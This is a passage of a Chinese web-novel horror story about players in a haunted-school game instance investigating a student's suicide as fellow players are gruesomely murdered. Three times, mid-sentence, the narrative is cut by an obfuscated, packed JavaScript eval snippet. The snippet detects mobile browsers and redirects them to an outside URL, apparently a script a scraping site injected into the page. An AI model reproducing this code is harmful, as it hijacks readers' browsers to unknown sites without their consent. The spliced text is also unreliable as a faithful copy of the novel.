一道寒凉的声音如春日细雨般簌簌落进耳里,声音不大,却坚定有力:“既然能被我们看到,那就说明无论是男生还是女生,他们的【怨】都是真实存在的。” 罗元松听完鹤溪的话,讥讽地笑了:“你的意思是,这个副本里有两个【怨】?瞎扯呢吧你。” 桌上众人视线都看向鹤溪。 鹤溪不紧不慢地将青椒肉丝里的花椒一一挑出来丢掉,云淡风轻地回应罗元松的质疑:“没经历过不代表没有,况且我们现在得到的信息不多,一切都只是推测而已。” 罗元松冷笑:“装出一副高深莫测的样子给谁看?我是没经历过有两个【怨】同时存在的副本,听你说的那么笃定,你经历过?” 鹤溪闻言抬眼,目光平淡地对上罗元松挑衅的视线,正要开口,梨乐一在他旁边缓缓举起了手。 “两个【怨】的副本,我刚经历过。” 听鹤溪和梨乐一这么一说,钟心闻也想起来些什么:“我之前在玩家论坛里闲逛的时候,好像也刷到过,是有两个【怨】的副本。” 说到这里,钟心闻五官挤作一堆,一脸苦哈哈的模样:“要是咱们这个副本真是两个【怨】的副本,那难度系数有点太高了吧。” 鹤溪平静地接过话:“不一定,现在还有保安、清洁工、维修人员三个岗位还没有遇见诡异事件,我们不宜这么早就下定论。” 鹤溪说完转头看向梨乐一:“你不会是特例。” “啊?” 对上鹤溪淡然的视线,梨乐一有些懵,好一会才反应过来,鹤溪应该是因为之前罗元松的那些话在安慰自己。 她甚至都忘了装害怕,嘴唇一开一合,讷讷吐出一个字:“哦……” - 下午放学,梨乐一没有立刻赶去食堂,而是坐在办公室里,等着隔壁高三四班的学生都去吃晚饭离开后,悄悄溜进教室。 在副本里尽可能多的收集信息有助于她精准作死,一击毙命,她来到彭思名的座位旁。 彭思名的座位很乱,桌上乱七八糟地摆着书本还有各种习题卷,抽屉里也塞满了各种习题册和笔记本。 梨乐一沉默两秒,认命地先收拾起了桌子。 桌面收拾好了之后,她蹲下身开始收拾抽屉,她将抽屉里的习题册一股脑地拿出来,有些夹在本子里的零碎物件因此稀里哗啦地落了一地。 除了笔尺子之类的文具,梨乐一在地上那堆小玩意里,竟然看见了龟壳和几枚铜钱。 梨乐一捡起龟壳和铜钱,拿到眼前细细研究。 彭思名一个高三的学生,抽屉里怎么会有这种东西? 正疑惑着,教室外突然传来靠近的脚步声,紧接着,一道清瘦高挑的身影便出现在了教室前门。 陈敛进到教室,看见鬼鬼祟祟蹲在彭思名座位旁的梨乐一并没有露出惊讶的表情,只是扯起嘴角短促地笑了一声,跟在他身后进教室的男生倒是被梨乐一吓了一跳。 男生就是早晨梨乐一问陈敛的座位为什么没有人时回答她的那名学生,名字叫吴浩远。 “卧槽,梨老师你居然敢翻彭思名的桌子?!我敬你是条汉子。”吴浩远冲梨乐一竖起大拇指。 梨乐一拿着龟壳铜钱站起身:“这有什么不敢的,你很怕他?” 陈敛走到自己的座位前收拾书包,吴浩远则是趴在讲台上玩白板笔,听到梨乐一的问话,吴浩远摇了摇头,语气随意地道:“他就算没死,我也挺怕他的。” 梨乐一眉头蹙起:“什么意思?” 吴浩远朝她手里的东西努努嘴:“您不是都看见了么,彭思名活着的时候就喜欢研究这些怪力乱神的东西,还喜欢玩各种招鬼游戏。” “我听说,只是听说哈,彭思名之前玩招鬼游戏,真的招来过……那些东西。最变态的是,他还喜欢把那些经历给记下来,说是以后还要试。” 吴浩远光是说起彭思名之前做过的事情都后背发凉,他背靠上身后的白板:“而且他死的也挺蹊跷的,就一个多月前,晚自习,他说不上就不上了,班长问他去哪,他说要去做一件大事。” “结果没过多久,他就从这栋教学楼的楼顶跳下去了。” 吴浩远搓了搓身上的鸡皮疙瘩,压低声音神神秘秘地对梨乐一说道:“有人说,彭思名那天晚上其实也是去做那种,就是招鬼仪式,但因为招来的东西太厉害了,反而被……” 吴浩远做了一个抹脖子的动作。 “那……” 梨乐一还想再问些彭思名的事,陈敛突然嘭地一声把书包砸在桌上,没看梨乐一,对吴浩远道:“走了。” 吴浩远笑嘻嘻地跟梨乐一道别:“老师您慢慢翻,我们先走了。” 梨乐一眨巴眨巴眼,看着陈敛背着书包大步走出教室。 好像有什么不对劲的地方。 “等等!” 梨乐一追出教室,叉着腰对着陈敛的背影喊道:“陈敛,晚上还要上晚自习呢,你背着书包准备上哪去?回来!” 陈敛脚步未停,甚至还嚣张地跟她挥了挥手做拜拜。 - 晚自习的时候,梨乐一在办公室里忽然听见了一阵闷闷的、压抑的哭声,她噌地一下站起来,吓了同办公室的老师一跳。 “梨老师,怎么了?” 梨乐一:“你没听到什么声音吗?” 那名老师表情疑惑:“什么声音?” 梨乐一笑笑:“没什么,我听错了。” 她慢慢坐回椅子里,那阵哭声仍在她耳边萦绕。看来,这声音只有他们玩家才能听到。 她也遇到了和校医岗位玩家的遭遇差不多的事。 晚自习结束后,众人在食堂集合,梨乐一得知清洁工和维修人员岗位的玩家晚上在经过高中部教学楼四楼时,也听到了女生的哭声。 梨乐一的办公室也在四楼,虽然他们听到哭声的时间不同,但地点是相同的。 玩家们根据目前手里的全部信息推测,这个副本或许存在着两个【怨】,一男一女,但现在只有梨乐一是两个【怨】都见过了。 鹤溪沉吟片刻,开口道:“也许这跟我们被分配到的工作岗位有关系。” “岗位不同,遭遇的诡异事件便不同。” 岗位都是进入副本以后随即分配的,有人闻言暗自庆幸,有人则是同情地看着梨乐一,被两个【怨】同时盯上,她今晚怕是凶多吉少了。 梨乐一在众人的注视下,努力地压着嘴角。 也许是上个副本赚的钱太少,就连副本都看不下去了,所以这一次让她躺平什么都不用干就能找死。 只不过其他人的心情并没能轻松多久。 因为虽然梨乐一近水楼台,轻松便打听到了两个【怨】中男生生前的信息,但他们碰到的都是女生,现在对于女生的身份,他们毫无头绪,也不知道该从哪里查起。 至于彭思名的死,比起吴浩远口中说的彭思名被他玩招鬼游戏招来的东西害死,玩家们更倾向于彭思名是被人害死的。 那名玩家语气十分笃定:“这个副本开局的卦象说小人加害。这个副本的背景不是学校吗,我看新闻上说,现在学校里的ba凌行为可多了,也许彭思名就是受不了来自于同学的ba凌,所以才跳楼自杀死的。” 这个玩家的话让梨乐一想到自己中午在林荫道上碰巧看到的那一幕,但这并不能说明陈敛和彭思名的死有关系,所以梨乐一想了想,还是没有把陈敛向同学收“保护费”的事情说出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343335|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从食堂出来,钟心闻瞬间红了眼眶,他想去抱鹤溪的胳膊:“我不想离开你们。” 鹤溪一个侧身躲过,站到梨乐一身旁,对她道:“走吧,很晚了,该回去休息了。” 钟心闻眼泪夺眶而出,痛心疾首地吼道:“不——” 身为保安的他白天没有碰上诡异事件,不过保安晚上需要在保安亭里值班,深更半夜的,要是碰上诡异事件,惊悚程度可比白天要高多了,还不如白天碰上。 鹤溪一把捉住他妄图伸向梨乐一的爪子,梨乐一看着他哭得眼泪鼻涕满脸的模样,想了想,安慰道:“你别害怕,你看我今天一天都碰见两次诡异事件了,不也没事么。” 钟心闻顿时如遭雷击,晃晃悠悠往后退了两步:“你的意思是,我晚上也可能会遇见两个【怨】?” …… 梨乐一:还不如不说。 其余玩家已经走远了,梨乐一递给钟心闻一个“你要坚强”的眼神,便和鹤溪转身追随众人的脚步离开。 梨乐一和鹤溪距离大部队有一些距离,走着走着,她突然开口道:“我班上有个学生叫陈敛,我今天中午撞见他欺负同学,管同学要钱,你以后多注意他一些。” 她刚才不当着众人的面提起这件事,是因为担心众人知道后便认定陈敛和彭思名的死有关,为了离开副本而置陈敛于死地。 但是现在并没有直接证据指向陈敛,梨乐一担心自己冒然说出来会害死一个无辜的人。 而单独对鹤溪提起这件事,则是因为她觉得鹤溪不是那种为了活命滥杀无辜的人,虽然她和鹤溪认识了才不过一天,但她莫名很信任鹤溪。 “陈、敛。” 鹤溪将这两字在唇齿间缓慢地滚了一遍,眼底闪过一丝复杂的情绪,他看着梨乐一欲言又止,最后只淡淡地道:“好。” - 深夜空无一人的校园,一阵风吹过,教学楼旁三层楼高的大树发出窸窸窣窣的声响,地上摇曳的树影像是某种生物趴在地上扭曲摆动。 保安亭里,钟心闻哆哆嗦嗦地缩在角落,一动不敢动。另外两名保安玩家结伴出去巡逻了,独留他一人守在这里,连喘气都不敢喘快了,生怕惊扰了外面的什么东西。 保安亭外,树叶被风吹得哗哗作响,钟心闻全神贯注地留意着外面的动静,忽地,他听到了什么,脸色唰地一下变得惨白。 “沙沙,沙沙……” 在树叶声响中,钟心闻分辨出了一道虚浮凌乱的脚步声,听声音,似乎从教学楼的方向传来的。 更令他感到绝望的是,那阵脚步声正在朝着这边靠近。 “叩叩。” 保安亭的窗户玻璃骤然被敲响,一道细若蚊蚋的女声从窗外飘进来:“有人吗?” “叩叩叩。” “有人吗?” 钟心闻此刻所处的位置正好位于窗户下方的死角位置,窗外的人看不见他,他也看不见窗外的人。 他死死地捂住嘴,整个人紧紧贴住背后的墙壁,不敢发出半点声音。 “叩叩叩。” 敲击声不断从头顶传来,带起细微的震动仿佛一把滋滋作响的电锯,悬在钟心闻头顶将落不落。 终于,窗外的人敲了几分钟没有得到回应后放弃,转身离开,脚步声再次响起。 保安亭内,钟心闻劫后余生地重重呼出一口气,整个人跟刚从水里捞出来似的,脸上身上全是被吓出来的冷汗。 在确定脚步声远离后,钟心闻鼓起勇气,慢慢撑起身子向外看去。 只见一个身形瘦弱、穿着蓝白短袖校服的长发女学生正脚步踉跄的朝着某个方向走去,很快,那道身影便逐渐消失在漆黑的树影里。 钟心闻软绵绵地瘫倒在地上,捂住自己的嘴巴,不让自己哭出声。 “哒哒,哒哒……” 还没放松多久,那阵脚步声又出现了,钟心闻呼吸一滞,心再次高高悬起。 钟心闻因为巨大的恐惧,腿没力气爬不起来了,但是寻找线索的执念在他脑中根深蒂固,驱使着他滚到门边,将门推开一条小小的缝隙朝外看去。 那道身影再一次从黑暗中浮现,跌跌撞撞走向了另一个方向。 22. 见鬼 深夜,梨乐一洗漱完躺上床,双手交叠放于腹部。 遇见两次诡异事件,被一男一女两个【怨】同时盯上,因为教师岗位只有自己一个人所以喜提单人宿舍。 Buff已经叠满,她这下是想不死都不成了。 梨乐一心满意足地闭上眼,等着这个副本里的【怨】找上自己,来哪个都行。 次日清晨,沉寂的世界在鸟鸣声中缓缓苏醒。 闷,胸口好闷。 梨乐一在睡梦中蹙起眉,她迷迷糊糊中感觉到有什么重物正压在自己的胸口,压得她喘不过气来。 她这是要死了吗?好难受,快要窒息了…… 梨乐一睁开眼,对上了一个偌大的脸盘子。 “喵~” 小帅气定神闲地趴在她的胸口,见她醒来,舔了舔自己的爪子,起身在梨乐一胸口伸了个懒腰,梨乐一感觉自己的肋骨差点被它的重量给压断。 “小帅,你怎么会在这里?” 小帅不搭理梨乐一,高冷地转身走到床尾,瞄准书桌一个精准起跳,然后扭着肥屁|股,愣是从只有半个它那么宽的防盗窗栏杆里挤了出去。 “咚!” 梨乐一听见一声重物落在空调外机上沉闷的响声。 ……居然还是只灵活的胖猫。 但话又说回来,既然能看见小帅,那就说明她还在副本里,她昨天晚上,竟然没死吗?! 梨乐一疑惑又失望地起身去卫生间洗漱,按道理来说,昨天只有她一个人遇见了两次诡异事件,副本里的【怨】如果要杀人,第一个找上门的最大可能就是她了。 但她怎么还活着呢? 就在梨乐一百思不得其解的时候,房间的大门突然被人敲响,她赶紧把脸上的水擦干净去开门。 学校分配给教职工的宿舍楼只有一栋,因此玩家们虽然岗位不同,但都住在一栋楼里。这么早会来敲门的,只有玩家无疑了。 门开后,鹤溪站在门外:“出事了。” 昨天晚上死的人是付江。 他脖子硬生生地被两只筷子前后贯穿,以跪坐的姿势坐在床上,看上去像是窒息而死。 而他的两只眼睛被挖走,留下两个巨大的血洞,嘴巴也被用针线暴力地缝了起来,垂放在腿上的手则是紧紧地握着他的眼珠。 有几名女玩家只看了一眼便不敢再看了,捂着嘴退出寝室,方华明看着床上的付江,又转头看着鹤溪身后毫发无伤的梨乐一,不敢置信地道:“怎么会这样?昨天晚上死的人为什么会是付江?” 他问鹤溪:“你和付江是一个宿舍的,你就睡在他隔壁,昨天晚上他死的时候你没有听见什么动静吗?” 鹤溪眉头紧蹙:“不知道,昨天晚上我没有听见任何声音。” 鹤溪说完便开始回想昨天在食堂工作时,付江都做了什么事。但他并没有找出什么奇怪的地方,付江做过的事情,他和文虹都做过,没道理【怨】找上了他,却没有动就睡在他隔壁的自己。 “名字。” 靠在卧室门口的文虹突然想起什么:“昨天进校签到时,只有付江是用红笔签的名字,会不会是因为这个?” 鹤溪沉吟片刻,道:“也许。” 他视线往周围扫了一圈,发现除了当保安的三个人不在,其余玩家都在这里了。 “先去确认一下钟心闻他们的状况。” 离开之前,梨乐一转身再次看向床上付江的尸|体。 眼睛被挖走,嘴巴被缝上,是不让看,也不让说的意思吗? 来到高中部旁边的保安亭,拉开保安亭的门,钟心闻三个人跟被吸干了精气神的人干似的,表情萎靡眼睛又红又肿,像三只悲伤蛙生无可恋地缩在角落里。 看见鹤溪开门进来,本以为早已流干的眼泪再次奔涌而出,钟心闻一把鼻涕一把泪地爬向鹤溪:“你们终于来了,卧槽,你们是不知道昨天晚上有多吓人……” 鹤溪面无表情地避开了钟心闻朝自己伸过来的手,还不忘将梨乐一拉到自己身后,他淡声问道:“昨天晚上你看见了什么?” 钟心闻:……无情! 他迅速整理好情绪,将自己昨晚的所见所闻一五一十地说了出来。 另外两名保安玩家也在巡逻的时候看见了那个女学生从教学楼里走出来,他们反应迅速地躲进一旁的树后,没有被女学生发现。 听完三人的讲述,鹤溪神情严肃地看着女学生出了教学楼后先去的那个方向:“这个方向……是去校医务室的方向。” 钟心闻昨天晚上太害怕了,大脑一片空白,脑子里只剩下盯着女学生去哪这个念头,现在听鹤溪说起才反应过来,她先走的那条路的确是去往校医务室的方向。 钟心闻举一反三,转头又指着女生倒回来后去的那个方向:“那这个方向是……食堂?!” 鹤溪点头。 钟心闻眼珠子一转,后背突然炸起一层鸡皮疙瘩:“卧、卧槽,串起来了,教学楼,校医务室,食堂,串起来了!” 昨天除了梨乐一在教室里看见了满身是血的彭思名,其余人所经历的诡异事件都和女学生有关,但因为信息太少,众人并不知道这些零碎的片段代表着什么。 钟心闻昨天晚上的所见将这些片段串了起来,他们经历的诡异事件,或许是女学生死前的最后一段经历。 那名女学生在教学楼四楼遭遇到了某件事,侥幸逃脱之后来到保安亭寻求帮助无果,又去到了校医务室治疗,最后也许是因为太饿了,所以去到食堂,给自己买了一份番茄蛋汤。 这一切的源头,是高中部教学楼的四楼。 鹤溪看向钟心闻:“昨天晚上,你有没有看见那个女学生的长相。” 钟心闻皱眉:“没看见,但她是长头发,穿的夏季校服。” 夏季校服…… 梨乐一若有所思,现在天气热,学生们穿的就是夏季校服,而且她之前看见的彭思名的【怨】身上穿的也是短袖,那就说明,女生应该是和彭思名差不多时间死去的。 身旁的鹤溪开口:“除了梨乐一之外,我们看见的都是女学生的经历,但我们现在没有一点关于女学生身份的线索,也不知道从哪里查起,反而是梨乐一看见的那名男学生,也就是彭思名的身份信息都知道的差不多了。” “也许我们应该从彭思名的身上着手开始调查。” - 上午大课间,梨乐一去四班班上叫走了正在啃烤肠的吴浩远。 “梨老师,我保证我昨天的语文作业绝对不是抄的!”吴浩远站在梨乐一的办公桌旁,义正言辞地道。 梨乐一:“……” 好了,本来不知道的,现在知道了。 “我叫你来不是问你作业的问题,我是想问点……关于学校的八卦。” 吴浩远神色肉眼可见地松弛下来,他立刻挤出一个谄媚的笑来:“那您可算是问对人了,不夸大的说,上到学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349673|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校领导,下到班级同学,就没有我不知道的八卦。” 梨乐一见状也不跟他绕弯子了,直截了当地问道,“我想问你,最近学校除了彭思名之外,还有没有其他学生死亡的案件?” 吴浩远:“没有。” “没有?”梨乐一有些诧异,“再之前呢,比如一两年前,有学生死亡的案件吗?” 吴浩远摸着脑袋想了一会:“嘶——也没有。” 梨乐一又换一种问法:“那失踪的学生呢,有没有?” 吴浩远故作深沉的眯起眼睛:“梨老师,就这么跟您说吧,我从初一开始就在这所学校念书了,除了一个月前彭思名那件事,我们学校近六年来就没出过人命,也没有学生失踪过。” 梨乐一沉默。 如果说学校近些年来除了彭思名就没再出过人命,那他们听到的女生的哭声以及钟心闻他们昨天晚上看到的又是怎么回事? 不过眼下在吴浩远这里应该是问不出来些什么了,梨乐一摆摆手准备让他离开,又突然想起件事: “彭思名死后,班里有没有发生过什么奇怪的事情?” “奇怪的事情?”吴浩远一愣,反应过来梨乐一话中的深意之后,一边搓着手臂上冒出来的鸡皮疙瘩,一边回道,“梨老师您别吓我,彭思名的死已经够奇怪了,要是再来点什么其他的事情,我、我、我……” “我就得赶紧回家让我爸妈给我办转学了。” “……那死之前呢?”梨乐一又问。 “死之前?”吴浩远默默抱紧自己,“梨老师您是不知道,那彭思名是真神神……” “咳咳,他之前说什么他能开天眼看到我们过去的经历,还说什么能让别人——” 梨乐一头疼地打断吴浩远:“我不是问这个,我是问彭思名生前,有没有被其他学生欺负过之类的经历。” 吴浩远惊恐到声音都变了调子:“谁敢欺负他呀!我们躲他都来不及,生怕他给我们下降头什么的,怎么可能会欺负他!” 梨乐一摆了摆手,示意吴浩远可以离开了。 吴浩远忙不迭地退了出去。 “哎,敛哥,你在这里站着干什么?等我吗……” 吴浩远的大嗓门隔着一道门都听得十分清楚,但梨乐一现在没工夫去琢磨其他的事情。 学校近六年来只出过彭思名这一件学生跳楼事件,甚至连学生失踪也没有发生过,那他们遇见的那个女学生是谁? 再者,四班的学生们在彭思名死后也没有遇见过诡异事件,目前为止,只有她见过彭思名的【怨】,这和吴浩远之后说的,彭思名生前没有被同学欺负过的说法也对得上。 他对同学们没有怨,自然不会出现在同学们面前。 但也不排除有学生故意隐瞒自己在彭思名死后,见过彭思名鬼魂的事情。吴浩远刚才说的那些,并不能彻底消除彭思名生前经历过校园ba|凌的可能性。 不过就目前已知的线索来说,彭思名最恨的应该是老师这个职业。 可她这不也妹死么。 难,一点线索也没有,她就算找死都没地方找。 梨乐一愁得焦头烂额,但彭思名和那个女生的【怨】却没有再出现过。 整个上午风平浪静,平静到梨乐一几乎要以为【怨】不存在,副本也不存在,她就是一名普普通通的高中语文老师而已。 但这种平静很快就被打破。 又有一名玩家死了。 23. 见鬼 午休结束之后,众人回到各自的岗位,身为清洁工的三名玩家也回到休息室内。 其中一名叫丽丽的女生说是去杂物间拿东西,但去了二十多分钟都没有回来。 其余两名玩家意识到不对劲找过去,就发现丽丽死在了杂物间里。 她的死状极惨,被人发现时也是呈跪坐的姿势跪在杂物间内,尸|体周围遍布玻璃碎片,身体露在外面的皮肤全是大大小小各种划痕,有些伤口上甚至还插着玻璃碎片。 她的衣服被染成刺目的猩红色,鲜血从她身下溢出,铺满了整个杂物间的地面。 并且和付江一样,丽丽的两个眼珠也被她紧紧地攥在手心里,嘴巴也被缝了起来。 时间退回到二十分钟前。 因为以往的副本前期时【怨】通常只会在晚上出现,再加上一上午都风平浪静,没有任何诡异事件发生,丽丽便放松了警惕。 中午吃完饭,她主动揽下了去杂物间拿清扫工具的活。 杂物间在走廊尽头,穿过寂静幽深的长廊,丽丽推开门,眼前出现的却不是狭窄逼仄、摆满各种杂物的小房间,而是一间宽敞空荡的教室。 教室里只有两名学生,他们面对面端坐在窗边的桌子,桌上放着一个杯子,而两名学生的手指此刻正抵着杯底,似乎是在进行什么仪式。 丽丽以为自己走错了地方,连忙想要退出去,可转身,面前仍是那间教室,两名学生此刻已经停下了手里的动作,转过头来安静地看着她。 她呼吸猛地一滞,瞳孔骤缩。 这两名学生,脸上都没有五官…… 下一秒,她的身体像是被什么东西给操控了,脚不受控制地朝桌边走去。 她眼睁睁地看着自己在桌边坐下,和那两个学生一样,伸出手抵住杯底,杯子开始在纸上慢慢游走起来。 丽丽此刻整个人已经被恐惧淹没,她拼命挣扎想要呼救,可是憋红了脸,嘴里也只能发出一些断断续续,像是铁片在粗糙地面上刮擦的“嗬嗬”声。 突然,两名学生停下动作,没有五官的脸齐刷刷地转向她,声音一声比一声尖锐。 “你看见了。” “你看见了。” “你看见了!!!” - 玩家们因为丽丽的死聚在杂物间门口。 最先发现丽丽死亡的两名清洁工玩家精神状态已经接近崩溃了:“怎么会这样,我们今天上午除了打扫卫生什么都没有做,也没再遇到过什么诡异事件,她怎么突然就死了……” 梨乐一看着杂物间里丽丽的尸体,心里十分不解。 如果说昨天晚上死去的付江是因为用红笔写了名字,那现在死去的丽丽又该如何解释呢? 毕竟她可没有用红笔写自己的名字。 两名玩家接连死亡,他们对此却毫无头绪,没有诡异事件,哭声不再出现,梨乐一也没有在课堂上再见过彭思名的【怨】。 可是这种“正常”在副本里却极不正常,平静像一座大山一样重重地压在他们的身上,压得他们喘不过气来。 谁也不知道下一个死的人会是谁。 下午梨乐一没有课,她先是去彭思名跳楼的教学楼天台看了看,大概是因为彭思名的原因,通往天台的门被锁住了。 不过这难不倒梨乐一,她掏出发卡几下便捅开了锁,趁着现在是上课时间楼里没有人走动,她大摇大摆地走了进去。 天台上空空荡荡的,什么痕迹线索也没有。 梨乐一惆怅地趴在天台边缘叹了口气,这个副本太诡异了,连死都不知道该怎么死。 “你也想从这里跳下去?”一道声音冷不丁在背后响起,梨乐一吓了一跳,回头看见陈敛两手插兜,懒洋洋地倚在天台门边。 “你怎么在这里?” 梨乐一先是疑惑地看着陈敛,随后她想起什么,两手叉腰大步走到陈敛面前:“现在是上课时间,你不在教室里听课跑天台上来干什么?” 陈敛一点也不怕她,歪头,嘴角勾起一抹散漫的笑:“才来几天,还真把自己当老师了?” 梨乐一眼睛一瞪:“我不是老师是什么,陈敛,你——” “你在调查彭思名的事?” 梨乐一一大堆还未出口的教育猛地一收,眼睛亮晶晶地看着陈敛:“你知道彭思名是怎么死的?” 陈敛移开视线,轻嗤道:“我可没这么说。” 梨乐一咧着的大牙瞬间收了回去:“那你问我干嘛,去去去,赶快回去上课去。” 梨乐一把陈敛往门里推,陈敛一动不动,他低头看着梨乐一,忽然收起嘴角那抹散漫的笑:“我虽然不知道彭思名是怎么死的,但我知道彭思名死的蹊跷,你再查下去,你也会死。” “真的?”梨乐一眼睛又亮了一些。 如果是真的,那可—— 太好了!她正愁没办法找死呢。 但陈敛点到为止,话只说这么多,说完转身就走,不管梨乐一在身后怎么喊他叫他就跟没听到似的。 梨乐一气闷地放下手,对着陈敛的背影吐槽道:“真是个奇怪的人!” 陈敛走后,梨乐一趴回天台,想他刚才说的那番话到底是什么意思。 调查彭思名的事情会死,他是怎么知道—— !!! 梨乐一突然直起身子,陈敛刚才说了也。 他说,自己再调查下去,也、会死。 难道说,在彭思名跳楼自|杀后,陈敛见过被彭思名的【怨】害死的人?陈敛该不会真和彭思名的死有关系吧? 想到这,梨乐一转身准备去追陈敛,视线突然被楼下一个圆润的身影……猫影吸引。 定睛看过去,小帅优哉游哉地扭着肥屁|股从高中部的教学楼走了出去。 它来干什么的,听课? 细看之下梨乐一还发现,小帅嘴里似乎叼着东西,但离得太远她看不清楚那东西具体是什么。 现在是上课时间路上没什么人,小帅屁|股一扭一扭的,十分悠闲地朝着食堂的方向走去。 走着走着,小帅突然跑了起来。 梨乐一似有所感地抬眼朝道路尽头看去,就看见鹤溪长身玉立立在食堂门口,他身上宽大的衬衣被风吹得鼓起,将他衬得尤为清瘦。 即使隔的这么远,梨乐一也能感觉出现在的鹤溪脸上应该是没什么表情的,午后炽热的阳光落在梨乐一身上,但看着鹤溪,她并不觉得热,反而感觉到了一股浸入骨髓的寒凉。 梨乐一担心小帅这大身板要是没刹住车,鹤溪估计得被它撞出二里地。 幸好她的担心是多余的,小帅一个脚刹,稳稳当当地停在了鹤溪的身前。 鹤溪取下它嘴里叼着的东西,梨乐一双手做望远镜状放在眼前,看到那似乎是一张纸。 看了一会后,鹤溪将纸张叠起放进口袋里,蹲下身摸了摸小帅的脑袋,然后变戏法似的从身后端出一个装的满满当当的不锈钢碗来放在小帅面前。 小帅埋头干饭,鹤溪则是转身进了食堂。 - 梨乐一没找到陈敛,找去教室的时候,他的位置上没人,书包也不见了。 很明显,这人又逃课了。 梨乐一气不打一处来,但又因为找不到人只能默默咽下。 晚自习结束,玩家们聚在食堂,梨乐一将自己从彭思名抽屉收拾出来的一些她认为有古怪的东西倒在桌上。 钟心闻拨弄着一个滚到他手边的铜钱问道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354958|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些是什么?你现在已经放弃了寻找线索,准备用玄学的方式通过这个副本了吗?” 梨乐一无语:“什么呀,这些都是我从彭思名的桌子里找到的东西,想看看能不能找到一些线索。” 钟心闻忙不迭扔掉手里的铜钱:“你拿了他的东西,不怕他晚上来找你啊。” 梨乐一用手臂将桌上彭思名的东西都圈到自己怀里,尽力压着不自觉上扬的嘴角,做出一副害怕的表情:“怕,当然怕,但这不是到处都没有线索吗?我也只能出此下策了。” 话音刚落,一只修长如玉的手伸到梨乐一的怀里,拿走了那枚龟壳。 梨乐一想阻止,转头看见鹤溪拿着龟壳面色淡然地在她身旁坐下,那双平静如深潭的黑眸看过来。 “我和你一起研究。” 梨乐一欲言又止:“可这是彭思名的东西,你不怕……” 鹤溪微微歪头,语气有些不解:“你都不怕,我为什么要怕?” 梨乐一被鹤溪堵得说不出话来。 另一边,玩家们则是在交换白天在校园里收集到的信息。 中午,梨乐一将她从吴浩远口中得到的消息告诉其他玩家之后,下午玩家们为了确认,在学校里随机抓了不少学生询问。 得到的回答皆是除了彭思名,学校近些年来并没有发生过什么学生死亡或者失踪的大事。 但如果最近学校里只死过彭思名一名学生,那那名女学生又是怎么回事呢?难不成是外校的? 就在大家对如何查出女学生的身份一筹莫展时,梨乐一说出了另外一种猜想。 “彭思名生前不是喜欢玩招鬼游戏吗?如果说,那个女学生的鬼魂是被他玩招鬼游戏招来的,也不是不可能,毕竟这是在副本里。” 钟心闻苦哈哈地皱起眉:“要真是这样,那女学生的身份就更难找了,谁知道她是十年前死的还是二十年前死的,她当年的同班同学都毕业了,估计咱把整所学校翻个底朝天,也找不出一个认识她的人来。” 众人闻言皆是一脸苦大仇深的模样。 鹤溪从梨乐一身上收回视线,漫不经心地抚摸着龟壳上的纹路,淡然开口:“副本不会给我们设置不可能完成的任务,那名女学生的身份信息一定就在校园里。” 他说着,视线往众人身上一扫:“方华明呢?” 方华明的岗位是校医,和他同为校医的罗元松回答道:“他身体不舒服,先回宿舍休息了。” “什么?”钟心闻大叫,“身体不舒服还敢一个人待着,知不知道恐怖片的标准套路之一就是落单必死!尤其是身体不舒服的人!” 罗元松本来没把这事放在心上,听了钟心闻的话心里顿时有些打鼓:“我给他打个电话问问。” 片刻之后,他白着脸放下手机:“没、没人接。” 鹤溪立刻起身往宿舍的方向去,众人见状也赶紧跟上。 罗元松因为太过害怕,钥匙插|了好几次才插|进锁孔,门打开,钟心闻立刻冲进去:“方华明,方——” “瞎嚷嚷什么?”方华明表情不耐烦的从卧室里走出来。 他的脸色有些苍白,看上去的确像是身体不舒服的样子,但没什么大碍,至少还好生生地站在众人面前。 罗元松松了口气:“你吓死我了,我刚才给你打电话你不接,我还以为你出事了。” 方华明闻言轻笑:“我能有什么事,你别想太多。” 众人见方华明没有事,也纷纷放下了心,准备回自己的宿舍休息。 鹤溪没动,默不作声地看着方华明,但方华明却像是躲着什么似的,转身头也不回地进了卧室。 卧室门关上之前,鹤溪看见里面的地上似乎掉着一把撑开的伞。 24. 见鬼 从方华明的宿舍离开后,梨乐一搭乘电梯回到了自己所住的楼层。 洗漱完毕,她坐在桌前研究了许久那几枚铜钱,但始终看不出什么异样来。她最后破罐子破摔,将几枚铜钱用线串起来挂在脖子上,期待能以这样的方式吸引彭思名的【怨】来见她。 她躺上床刚关上灯,窗外忽然传来一阵窸窸窣窣的响声,紧接着,窗边出现了一道庞大的黑影,那道黑影—— 伸出了它肉乎乎的爪子,一点一点将窗户扒拉开。 梨乐一:“……” 